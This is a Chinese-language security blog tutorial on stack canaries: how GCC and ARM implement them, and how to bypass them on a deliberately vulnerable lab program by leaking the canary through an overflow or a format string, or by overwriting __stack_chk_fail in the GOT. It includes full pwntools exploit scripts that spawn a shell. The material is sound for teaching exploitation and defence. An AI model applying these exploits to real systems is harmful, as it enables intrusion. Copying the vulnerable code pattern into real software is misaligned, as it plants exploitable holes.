Canary:从保护到绕过

新发布canary保护
2025-09-10 02:00
4682

介绍

Canary是针对栈溢出攻击的一种防护手段。栈溢出是通过覆盖存在栈上的局部变量,覆盖篡改基址指针寄存器或者程序计数器,从而劫持程序控制流。
启动栈保护之后,函数会在执行前在栈底插入一个随机生成的cookie(即canary), 在函数真正返回时之前,程序会先测试cookie信息合法化,即在栈帧销毁之前检查这个cookie值是否已经被篡改,如果发现值不合法,程序立即终止执行。
在这种机制下,攻击者就会在覆盖返回地址时使用正确的cookie信息进行覆盖,否则会导致栈保护检查失败从而阻止shellcode执行的情况,防止漏洞利用成功。

canary的实现

在使用 GCC 编译时,通过如下编译参数即可启用栈保护(canary)机制。

-fstack-protector  启用保护,为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong 启用保护,保护含有数组的函数,还保护局部变量影响控制流的函数
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

实现原理

stack结构如下图所示。局部变量buf[64]位于canary之下。如果发生栈溢出,超过buf的边界就会先覆盖canary,之后触及保存的帧指针和返回地址。

高地址
+---------------------------+
| 调用 printf 保存的寄存器     |
+---------------------------+
| 返回地址(to main 或 caller)|
+---------------------------+  <- 栈帧顶部
| saved fp / bp             |   <- 4 字节 (32-bit)
+---------------------------+
| Canary (stack protector)  |   <- 4 字节
+---------------------------+
| buf[64] 局部变量            |   <- 64 字节
+---------------------------+
低地址

下面示例是用的arm-linux-gnueabi-gcc编译的ARM架构程序leak_canary的源代码。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

对应的编译命令如下:

arm-linux-gnueabi-gcc leak_canary.c -no-pie -mbe32 -fstack-protector -z noexecstack -o leak_canary

与x86架构通过fs寄存器存储canary不同,ARM用的是全局变量__stack_chk_guard来存储canary。如下图所示,程序在建立帧指针并为局部变量分配栈空间后,会从__stack_chk_guard中读取 canary 值,并暂存于 R3 寄存器中以便后续使用。

image.png

在函数返回之前,程序将全局变量__stack_chk_guard的值取出,并与之前存放在原来的R3寄存器中的原始的canary的值进行异或操作。
根据汇编显示BEQ loc_106E8指令异或运行的结果为0,说明canary未被修改,函数会正常返回。如果被非法修改,程序的流程会到BL __stack_chk_fai指令所示调用__stack_chk_fai函数。该函数是位于glibc中的函数,默认情况下会经过ELF的延迟绑定。
上面的操作就是检测是否发生栈溢出的canary机制。

image.png

绕过思路

根据上面canary实现原理特性,将绕过思路分为两个部分。
第一,泄漏并利用canary值:通过格式化字符串漏洞获得栈上canary值,并在后续溢出中正确填入,从而通过canary校验,使函数正常返回实现绕过。
第二,劫持stack_chk_fail函数:当canary校验失败后,程序进入的__stack_chk_fail函数的经过ELF延迟绑定,可以利用格式化字符串漏洞通过修改GOT表中的劫持__stack_chk_fail的地址值,指向自定义的函数地址(如getshell函数),从而触发栈保护失败时劫持程序控制流,实现漏洞利用。

利用canary值绕过

首先讨论第一种方法:泄漏并利用canary值
利用格式化字符串漏洞获得canary值通过校验。在构造溢出payload时,在覆盖返回地址之前,将泄漏出的原始canary值填入栈中,这样,函数在返回时进行canary值校验,由于值没有被修改,不会触发__stack_chk_fail,从而实现对栈保护的绕过。

关键点

利用canary值绕过栈保护时,需要计算三个关键数值

  1. buf1:从栈顶溢出到canary所在地址的字节长度,即缓冲区填充长度。
  2. canary:通过漏洞获得的栈 canary 原始值。
  3. buf2:从 canary 地址到返回地址的字节长度。
    构造 payload 的方式如下:
payload = b'a'*buf1 + p32(canary) + b'b'*buf2 + p32(ret_address)

其中,p32(canary) 用于在覆盖返回地址之前填入正确的 canary 值,从而通过栈保护检查。

缓冲区溢出泄漏canary

通过格式化字符串漏洞可以泄漏栈上的canary值,在构造溢出的payload时,将泄漏出的原始canary值填入覆盖返回地址之前的对应位置。
这样,函数返回校验canary值时,不会触发__stack_chk_fail。利用这一方法,可以在绕过栈保护的前提下,让函数正常退出,从而实现栈溢出攻击。
根据上面gcc实现canary的参数编译后,使用checksec查看栈保护机制信息。

image.png

按照关键点的顺序,首先需要计算从栈顶溢出到canary的缓冲区长度buf的值。通过IDA反汇编可以观察到,var_8保存的就是canary的值,即从缓冲区起始位置到var_8的值就是buf1。根据栈布局计算得0x6c-0x8=0x64,即 buf 的长度为 0x64 字节。

image.png

image.png

image.png

结合前面对 canary 机制的分析,要实现绕过,还需要将栈上的 canary 值泄漏出来。需要注意的是,canary 在每次程序运行时都会被随机化,因此不能事先固定写死,而必须在运行过程中动态获取。已知缓冲区的有效溢出长度为0x64字节,利用这一点,可以精确覆盖到保存 canary 的位置,从而读取并输出该地址中的随机数值,实现对 canary 的泄漏。利用如下脚本。

from pwn import *

context.arch="arm"
context.log_level = "debug"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])


elf = ELF(fileName)

sh.recvuntil("Hello Hacker!\n")
pause()

sh.send("a" * 0x64 + 'b')
sh.recvuntil('a'*0x64)
canary = u32(sh.recv(4)) - 0x62
info("Canary: "+hex(canary))

根据下面两张指令截图可以看出,程序运行时生成的 canary 值为 0x39bfe700。在运行脚本后成功泄漏出相同的数值,测试成功。

image.png

image.png

最后,通过计算栈上canary与程序中"/bin/sh"字符串所在位置的偏移关系。利用cyclic工具测试缓冲区溢出长度,结果得到偏移值为 4。结合程序中已知的getshell函数地址0x000105f4,即可完成最终的利用。

image.png

image.png

image.png

最后整合脚本进行测试。

from pwn import *

context.arch="arm"
context.log_level = "debug"
fileName = "./leak_canary"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])

sh.recvuntil("Hello Hacker!\n")
pause()

sh.send("a" * 0x64 + 'b')
sh.recvuntil('a'*0x64)
canary = u32(sh.recv(4)) - 0x62
info("Canary: "+hex(canary))


# 第二次溢出
getshell = 0x000105F4
payload_2 = b'a' * (0x64) + p32(canary) + b'a'*(0x4) + p32(getshell)
sh.send(payload_2)
sh.recv()
sh.interactive()

利用成功。
image.png

格式化字符串漏洞获取Canary

在同一个程序中,尝试利用格式化字符串漏洞来获取 canary。构造形如aaaa + %x*n的 payload(便于观察,将 "%x" 改为 "%x-" ),然后查看程序输出的内容,直到输出中出现 aaaa 的 ASCII 值,此时对应的就是第 6 个%x,即栈中的第 6 个位置。

image.png

由于printf每打印一个%x会输出4个字节,上面已知栈顶到canary的距离是0x64字节,因此计算得到canary值是位于间隔的第25个%x

image.png

构造的脚本如下所示,
第一次溢出通过%x-格式化字符串打印栈上的值,从而泄漏 canary。
第二次溢出在覆盖返回地址之前,将泄漏出的 canary 值正确填入栈中,从而绕过栈保护并调用getshell

from pwn import *

context.arch="arm"
context.log_level = "debug"
fileName = "./leak_canary"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])

sh.recvuntil("Hello Hacker!\n")
pause()
#第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
sh.send(payload_1)
recvbytes = sh.recv()
canary = int(recvbytes.split(b'-')[-2], 16)
info("Canary: "+hex(canary))

# 第二次溢出
getshell = 0x000105F4
payload_2 = b'a' * (0x64) + p32(canary) + b'a'*(0x4) + p32(getshell)
sh.send(payload_2)
sh.recv()
sh.interactive()

利用成功

image.png

利用__stack_chk_fail函数

上面讲到的,当canary校验失败之后,程序会调用__stack_chk_fail函数,默认情况下该函数会经过ELF的延迟绑定。绕过思路即在栈溢出之前,通过修改GOT表劫持__stack_chk_fail的函数指针,从而控制程序流程,之后再构造栈溢出调用__stack_chk_fail,实际上就实现执行自定义的后门函数。

关键点

利用劫持`__stack_chk_fail函数时,需要计算两个个关键数值

  1. 劫持GOT 表的__stack_chk_fail
    如下代码所示进行测试函数存在。
readelf -r ./overflow_canary.o | grep stack_chk_fail
objdump -R ./overflow_canary.o | grep stack_chk_fail
  1. 控制 payload 填充
    payload 是格式化字符串,用于修改 GOT。
    payload 是栈溢出的填充:b'a'*0x64 + b'a'*0x4
  • 0x64 填充到 canary 位置
  • 0x4 填充到返回地址之前的占位
    如下图所示,测试得61616161是第6个位置,即offset取6。

image.png

劫持__stack_chk_fail

利用格式化字符串漏洞,测试canary位置。
构造的payload

payload = fmtstr_payload(6, {stack_chk_fail_got: getshell})

还要造成一次溢出来触发__stack_chk_fail

payload =b'a' * 0x64 + b'a'*0x4
from pwn import *

context.arch="arm"
context.log_level = "debug"
fileName='./leak_canary'
#cmd= ["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName]
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])
#p = process("./leak_canary")
elf=ELF(fileName)

# 获取 __stack_chk_fail 在 GOT 表中的地址
stack_chk_fail_got = elf.got['__stack_chk_fail']

getshell=0x000105F4
#1. 修改GOT表
payload_fmt = fmtstr_payload(6, {stack_chk_fail_got: getshell})
p.recvuntil("Hello Hacker!\n")
p.sendline(payload_fmt)


#2.触发栈溢出
payload =b'a' * 0x64 + b'a'*0x4
p.sendline(payload)

p.interactive()

利用成功。

image.png

image.png

分享到

参与评论

0 / 200

全部评论 2

ccc的头像
学习大佬思路
2025-09-12 17:56
rew1X的头像
666
2025-09-11 11:25
投稿
签到
联系我们
关于我们